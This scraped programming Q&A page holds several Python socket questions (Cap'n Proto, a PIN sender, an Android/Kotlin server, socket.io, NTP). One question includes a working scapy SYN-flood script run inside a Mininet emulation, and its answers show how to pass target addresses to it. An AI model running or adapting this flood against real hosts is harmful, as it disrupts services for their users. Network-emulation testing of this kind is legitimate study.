How do I send a server a struct?
I tried:
import socket
import sys
import capnp
import select
import test_capnp
class Test:
def __init__(self, serverAddr="127.0.0.1", serverPort = 10000):
self.serverAddress = (serverAddr, serverPort)
capnp.remove_import_hook()
self.setupClient()
def setupClient(self):
_socket = socket.socket()
_socket.connect(self.serverAddress)
client = capnp.TwoPartyClient(_socket)
send = client.bootstrap().cast_as(capnp._DynamicCapabilityClient(test_capnp))
Test.capnp:
struct Test {
id #0 : UInt8;
msg #1 : Text;
}
Furthermore, how can I give values to the Test?
Thanks for helping :)
lol have you proceed to the second turn of the competition?
Related
Im trying to send a 8 digit pin code from one computer to another, the code works when both of the computers are on the same networks.But there seems to be a problem when they are not on the same network. it just doesnt send the pin to the server pc.
receives the data from the client and saves it
server.py
import socket
import json
import Classes
def recive_pin(s_data):
pin = s_data.recv(int(s_data.recv(1).decode())).decode()
return pin
def main():
# gets port from json file
with open("Config.JSON", 'r') as f:
json_data = json.load(f)
port = json_data["load"]["port"]
# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# binds the socket to localhost , config port number
ip = '0.0.0.0'
s.bind((ip, port))
user_data = {}
while 1:
s.listen()
s_data, address = s.accept()
command = s_data.recv(1).decode()
if command == "P":
user_data[recive_pin(s_data)] = address
print(user_data)
if __name__ == '__main__':
main()
client.py
create a 8 digit code and sends it to the server
import socket
import json
import Classes
def main():
# gets the user input controlled/controller.
with open("Config.JSON", 'r') as f:
json_data = json.load(f)
port = json_data["load"]["port"]
ip = json_data["load"]["ip"]
c = Classes.handler(ip, port)
x = Classes.pin.create_pin()
c.send_pin(x)
if __name__ == '__main__':
main()
Classes.py
import random
import string
import socket
class handler:
def __init__(self, comunication_ip=0, port=0, ):
self.__comunication_ip = comunication_ip
self.__port = int(port)
# type of command to send to the server
# tuple of the server details
self.__server_details = (self.__comunication_ip, self.__port)
def send_pin(self, verification_pin):
# command type : Send_pin("P")
command_type = "P"
# creates a socket to send the pin to the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# adds the type of the command and the length of the pin to the Pin.
msg = command_type + str(len(verification_pin)) + verification_pin
s.connect(self.__server_details)
s.send(msg.encode())
class pin:
#staticmethod
# def __init__(self, defult_pin=0):
# self.__pin = defult_pin
def create_pin():
characters = string.ascii_letters + string.digits + string.punctuation
verification_pin = str(''.join(random.choice(characters) for length in range(8)))
return str(verification_pin)
i also use a Json file to save the port number and the server ip :
{
"load":{
"ip":"10.100.102.94",
"port": 12000
}
}
Description
So basically i am building an android app in which i am using kotlin and which will behave as server.Whilst on the client side i am using python.I am using sockets for this purpose.I have to communicate using UDP.But i am unable to make connection to my android app.In python script sock.connect(('10.0.2.2', 6000)) i have also tried placing the emulator ip instead of localhost.I just want to send and receive simple messages.
Another Issue: Python script just times out it does not even gets into the loop.
Server.kt
package com.example.soundsource
import android.content.Intent
import android.os.AsyncTask
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.widget.Button
import android.widget.TextView
import java.io.BufferedInputStream
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.PrintWriter
import java.lang.Exception
import java.lang.ref.WeakReference
import java.net.ServerSocket
import java.net.Socket
class MainActivity : AppCompatActivity() {
private lateinit var textView:TextView
private var message = " "
private lateinit var client:Socket
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val sendButton:Button = findViewById(R.id.send_button)
val showLocation = findViewById(R.id.show_location) as? Button
showLocation?.setOnClickListener {
val intent = Intent(this,SoundLocation::class.java)
startActivity(intent)
}
textView = findViewById(R.id.text_view)
sendButton.setOnClickListener{
t.start()
}
}
private val t = Thread(Runnable {
val port = 5000
val server = ServerSocket(port)
this.message = "Message from client"
this#MainActivity.runOnUiThread {
this.textView.text = server.localPort.toString()
}
val i = InputStreamReader(this.client.getInputStream())
val b = BufferedReader(i)
while (true){
this.client = server.accept()
message += " "+ this.client.localAddress.toString()+b.readLine()
this#MainActivity.runOnUiThread{
this.textView.text = server.localSocketAddress.toString()
}
t2.start()
}
})
private val t2 = Thread(Runnable {
val p = PrintWriter(this.client.getOutputStream())
p.println("sending message back")
runOnUiThread {
this.textView.text = "message sent...."
}
})
}
Client.py
import socket
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.0.2.2', 5000))
while True:
print("you are about to.....")
data = sock.recv(1024)
print('you received :', data)
sock.sendall(bytes("hey kotlin....", 'utf-8'))
main()
I used following python script to create a custom topology in mininet using sudo Python My_topology.py :
from mininet.topo import Topo
from mininet.node import Node
from mininet.net import Mininet
from mininet.cli import CLI
from mininet.node import RemoteController
import os
import sys
logging.getLogger().setLevel(logging.INFO)
class MyTopo (Topo):
def __init__(self, ipBase='10.0.0.0/8'):
Topo.__init__(self)
global host_list
# Add hosts and switches
s1 = self.addSwitch('s1')
for i in range(1, 21):
self.addHost('h%s'%i)
host_list.append('h%s'%i)
self.addLink('h%s'%i, s1)
def attack():
h1 = net.get('h1')
h1.cmd('sudo python .../My_SYNflood_attack.py')
topo = MyTopo()
net = Mininet(topo, controller=lambda name: RemoteController(name,
ip= '127.0.0.1', protocol= 'tcp', port= 6633), autoSetMacs= True)
net.start()
attack()
CLI(net)
net.stop()
As you see in attack function I used another .py script to send TCP packets from host h1 t another host. My_SYNflood_attack.py is as follow:
from scapy.all import *
import os
import sys
import random
import argparse
srcIP = '10.0.0.1'
dstIP = '10.0.0.10'
srcPort = 5555
dstPort = 4444
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(srcIP,dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = srcIP
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def main():
SYN_Flood(srcIP, dstIP,dstPort,10)# 10 is number of packets
if __name__ == "__main__":
main()
So as you see in second script I set source and destination IP address statically, now I want to send source an destination IP address from first script and call My_SYNflood_attack.py in attack function like this: h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2 10.0.0.3')
How can I do it??
are you looking for something like this?
def attack():
h1 = net.get('h1')
h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2, 10.0.0.3')
and:
scrIP = sys.argv[1]
dstIP = sys.argv[2]
You can use to call another python script with arguments:
subprocess.call(['python', '.../My_SYNflood_attack.py.py', somescript_arg1, somescript_val1,...])
I've been trying to implement the python equivalent of the code below but cannot seem to get it working.
var io = require('socket.io-client')
var socket = io('http://devel.hz.udoidio.info:5000')
socket.on('connect', function () {
socket.emit('subscribe', 'new-tx')
})
socket.on('new-tx', function (txid) {
console.log('New tx: ' + txid)
})
I tried this approach but it does not seem to yield anything.
from socketIO_client import SocketIO, LoggingNamespace
def on_response(*args):
print 'on_response', args
baseurl = "http://v1.livenet.bitcoin.chromanode.net"
socketIO = SocketIO(baseurl, 80, LoggingNamespace)
socketIO.on('subscribe', on_response)
socketIO.emit('subscribe', 'new-block')
socketIO.wait()
I resloved the problem, below is the correct solution.
from socketIO_client import SocketIO
def on_response(*args):
print 'on_response', args
baseurl = "http://devel.hz.udoidio.info"
with SocketIO(baseurl, 5000) as socketIO:
socketIO.on('new-tx', on_response)
socketIO.emit('subscribe', 'new-tx')
socketIO.wait()
I've written a ntp client in python to query a time server and display the time and the program executes but does not give me any results.
I'm using python's 2.7.3 integrated development environment and my OS is Windows 7.
Here is the code:
# File: Ntpclient.py
from socket import AF_INET, SOCK_DGRAM
import sys
import socket
import struct, time
# # Set the socket parameters
host = "pool.ntp.org"
port = 123
buf = 1024
address = (host,port)
msg = 'time'
# reference time (in seconds since 1900-01-01 00:00:00)
TIME1970 = 2208988800L # 1970-01-01 00:00:00
# connect to server
client = socket.socket( AF_INET, SOCK_DGRAM)
client.sendto(msg, address)
msg, address = client.recvfrom( buf )
t = struct.unpack( "!12I", data )[10]
t -= TIME1970
print "\tTime=%s" % time.ctime(t)
Use ntplib:
The following should work on both Python 2 and 3:
import ntplib
from time import ctime
c = ntplib.NTPClient()
response = c.request('pool.ntp.org')
print(ctime(response.tx_time))
Output:
Fri Jul 28 01:30:53 2017
Here is a fix for the above solution, which adds fractions of seconds to the implementation and closes the socket properly. As it's actually just a handful lines of code, I didn't want to add another dependency to my project, though ntplib admittedly is probably the way to go in most cases.
#!/usr/bin/env python
from contextlib import closing
from socket import socket, AF_INET, SOCK_DGRAM
import struct
import time
NTP_PACKET_FORMAT = "!12I"
NTP_DELTA = 2208988800 # 1970-01-01 00:00:00
NTP_QUERY = b'\x1b' + 47 * b'\0'
def ntp_time(host="pool.ntp.org", port=123):
with closing(socket( AF_INET, SOCK_DGRAM)) as s:
s.sendto(NTP_QUERY, (host, port))
msg, address = s.recvfrom(1024)
unpacked = struct.unpack(NTP_PACKET_FORMAT,
msg[0:struct.calcsize(NTP_PACKET_FORMAT)])
return unpacked[10] + float(unpacked[11]) / 2**32 - NTP_DELTA
if __name__ == "__main__":
print time.ctime(ntp_time()).replace(" ", " ")
It should be
msg = '\x1b' + 47 * '\0'
Instead of
msg = 'time'
But as Maksym said you should use ntplib instead.
msg = '\x1b' + 47 * '\0'
.......
t = struct.unpack( "!12I", msg )[10]